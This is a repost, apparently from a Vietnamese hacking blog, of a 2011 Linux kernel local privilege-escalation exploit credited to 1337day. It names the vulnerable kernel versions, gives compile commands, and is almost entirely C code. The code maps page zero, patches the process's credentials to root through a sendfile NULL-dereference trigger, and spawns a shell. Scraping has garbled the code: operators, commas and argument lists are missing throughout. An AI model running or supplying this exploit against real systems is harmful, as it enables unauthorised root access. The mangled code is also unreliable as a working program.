_Priv8 Local R00t 2.6.18.128 2011

/*
 *
 *
 * 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0                          
 * 0     _                   __           __       __                     1
 * 1   /' \            __  /'__`\        /\ \__  /'__`\                   0
 * 0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
 * 1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
 * 0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
 * 1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
 * 0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
 * 1                  \ \____/ >> Exploit database separated by exploit   0
 * 0                   \/___/          type (local, remote, DoS, etc.)    1
 * 1                                                                      0
 * 0  By CrosS                                                            1
 * 1                                                                      0 
 * 0  Linux 2011                                                          1
 * 1                                                                      0
 * -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1
 * 
 * Linux 2.6.18-128.el5
 * Linux 2.6.9-89.EL
 * Ubuntu 8.10 Linux 2.6.27
 *
 * For i386 & ppc compile with the command;
 * gcc -w -o exploit exploit.c
 *
 * For x86_64 kernel and ppc64 Compile as;
 * gcc -w -m64 -o exploit exploit.c
 *
 * Greetz: r0073r( 1337day.com ),r4dc0re,side^effects and all members of 1337day Team ) ..... & all members of r00tw0rm.com ( RW ) .. )
 *
 * Submit Your Exploit at Submit@1337day.com | mr.inj3ct0r@gmail.com
 *
 * For Educational purpose Only))
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
 
#if !defined(__always_inline)
#define __always_inline inline __attribute__((always_inline))
#endif
 
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_stack_pointer
(****)
{
    
unsigned long sp;
 
    
asm volatile ("movq %%rsp,%0; " "=r" (sp));
 
    return 
sp;
}
 
#else static __always_inline unsigned long
current_stack_pointer
(****)
{
    
unsigned long sp;
 
    
asm volatile ("movl %%esp,%0" "=r" (sp));
 
    return 
sp;
}
 
#endif
 
#elif defined(__powerpc__) || defined(__powerpc64__)
static __always_inline unsigned long
current_stack_pointer
(****)
{
    
unsigned long sp;
 
    
asm volatile ("mr %0,%%r1; " "=r" (sp));
 
    return 
sp;
}
 
#endif
 
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_task_struct
(****)
{
    
unsigned long task_struct;
 
    
asm volatile ("movq %%gs:(0),%0; " "=r" (task_struct));
 
    return 
task_struct;
}
 
#else
#define TASK_RUNNING 0
 
static __always_inline unsigned long
current_task_struct
(****)
{
    
unsigned long task_structthread_info;
 
    
thread_info current_stack_pointer() & ~(4096 1);
 
    if (*(
unsigned long *)thread_info >= 0xc0000000) {
        
task_struct = *(unsigned long *)thread_info;
 
        
/*
         * The TASK_RUNNING is the Only poss1ble sta7e for a proCes5 exEcut1ng
         * in us3r-spaCe.
         */
        
if (*(unsigned long *)task_struct == TASK_RUNNING)
            return 
task_struct;
    }
 
    
/*
     * Prior to the 2.6 kernel series, the task_struct was stored at the end
     * of the kernel stack.
     */
    
task_struct current_stack_pointer() & ~(8192 1);
 
    if (*(
unsigned long *)task_struct == TASK_RUNNING)
        return 
task_struct;
 
    
thread_info task_struct;
 
    
task_struct = *(unsigned long *)thread_info;
 
    if (*(
unsigned long *)task_struct == TASK_RUNNING)
        return 
task_struct;
 
    return -
1;
}
 
#endif
 
#elif defined(__powerpc__) || defined(__powerpc64__)
#define TASK_RUNNING 0
 
static __always_inline unsigned long
current_task_struct
(****)
{
    
unsigned long task_structthread_info;
 
#if defined(__LP64__)
    
task_struct current_stack_pointer() & ~(16384 1);
 
#else
    
task_struct current_stack_pointer() & ~(8192 1);
 
#endif
 
    
if (*(unsigned long *)task_struct == TASK_RUNNING)
        return 
task_struct;
 
    
thread_info task_struct;
 
    
task_struct = *(unsigned long *)thread_info;
 
    if (*(
unsigned long *)task_struct == TASK_RUNNING)
        return 
task_struct;
 
    return -
1;
}
 
#endif
 
#if defined(__i386__) || defined(__x86_64__)
static unsigned long uidgid;
 
static 
int
change_cred
(****)
{
    
unsigned int *task_struct;
 
    
task_struct = (unsigned int *)current_task_struct();
 
    while (
task_struct) {
        if (
task_struct[0] == uid && task_struct[1] == uid &&
                
task_struct[2] == uid && task_struct[3] == uid &&
                
task_struct[4] == gid && task_struct[5] == gid &&
                
task_struct[6] == gid && task_struct[7] == gid) {
            
task_struct[0] = task_struct[1] =
            
task_struct[2] = task_struct[3] =
            
task_struct[4] = task_struct[5] =
            
task_struct[6] = task_struct[7] = 0;
            break;
        }
 
        
task_struct++;
    }
 
    return -
1;
}
 
#elif defined(__powerpc__) || defined(__powerpc64__) static int
change_cred
(****)
{
    
unsigned int *task_struct;
 
    
task_struct = (unsigned int *)current_task_struct();
 
    while (
task_struct) {
        if (!
task_struct[0]) {
            
task_struct++;
            continue;
        }
 
        if (
task_struct[0] == task_struct[1] &&
                
task_struct[0] == task_struct[2] &&
                
task_struct[0] == task_struct[3] &&
                
task_struct[4] == task_struct[5] &&
                
task_struct[4] == task_struct[6] &&
                
task_struct[4] == task_struct[7]) {
            
task_struct[0] = task_struct[1] =
            
task_struct[2] = task_struct[3] =
            
task_struct[4] = task_struct[5] =
            
task_struct[6] = task_struct[7] = 0;
            break;
        }
 
        
task_struct++;
    }
 
    return -
1;
}
 
#endif
 
#define PAGE_SIZE getpagesize()
 
int
main
(****)
{
    
char *addr;
    
int out_fdin_fd;
    
char template[] = "/tmp/tmp.XXXXXX";
 
#if defined(__i386__) || defined(__x86_64__)
    
uid getuid(), gid getgid();
 
#endif
 
    
if ((addr mmap(NULL0x1000PROT_EXEC|PROT_READ|PROT_WRITEMAP_FIXED|
            
MAP_PRIVATE|MAP_ANONYMOUS00)) == MAP_FAILED) {
        
perror("mmap");
        exit(
EXIT_FAILURE);
    }
 
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
    
addr[0] = '\xff';
    
addr[1] = '\x24';
    
addr[2] = '\x25';
    *(
unsigned long *)&addr[3] = 8;
    *(
unsigned long *)&addr[8] = (unsigned long)change_cred;
 
#else
    
addr[0] = '\xff';
    
addr[1] = '\x25';
    *(
unsigned long *)&addr[2] = 8;
    *(
unsigned long *)&addr[8] = (unsigned long)change_cred;
 
#endif
 
#elif defined(__powerpc__) || defined(__powerpc64__)
#if defined(__LP64__)
    /*
     * The use of function descriptors by the Power 64-bit ELF ABI requires
     * the use of a fake function descriptor.:P
     */
    
*(unsigned long *)&addr[0] = *(unsigned long *)change_cred;
 
#else
    
addr[0] = '\x3f';
    
addr[1] = '\xe0';
    *(
unsigned short *)&addr[2] = (unsigned short)change_cred>>16;
    
addr[4] = '\x63';
    
addr[5] = '\xff';
    *(
unsigned short *)&addr[6] = (unsigned short)change_cred;
    
addr[8] = '\x7f';
    
addr[9] = '\xe9';
    
addr[10] = '\x03';
    
addr[11] = '\xa6';
    
addr[12] = '\x4e';
    
addr[13] = '\x80';
    
addr[14] = '\x04';
    
addr[15] = '\x20';
 
#endif
 
#endif
 
    
if ((out_fd socket(PF_BLUETOOTHSOCK_DGRAM0)) == -1) {
        
perror("socket");
        exit(
EXIT_FAILURE);
    }
 
    if ((
in_fd mkstemp(template)) == -1) {
        
perror("mkstemp");
        exit(
EXIT_FAILURE);
    }
 
    if(
unlink(template) == -1) {
        
perror("unlink");
        exit(
EXIT_FAILURE);
    }
 
    if (
ftruncate(in_fdPAGE_SIZE) == -1) {
        
perror("ftruncate");
        exit(
EXIT_FAILURE);
    }
 
    
sendfile(out_fdin_fdNULLPAGE_SIZE);
 
    
execl("/bin/sh""sh""-i"NULL);
 
    exit(
EXIT_SUCCESS);
}

# 1337day.com [2011-11-06]  


Chú Ý:

Coppy phải ghi rõ nguồn Blog - Hacking
 

Copyright © 123 H4ck' Blog. Cung cấp bởi Blogger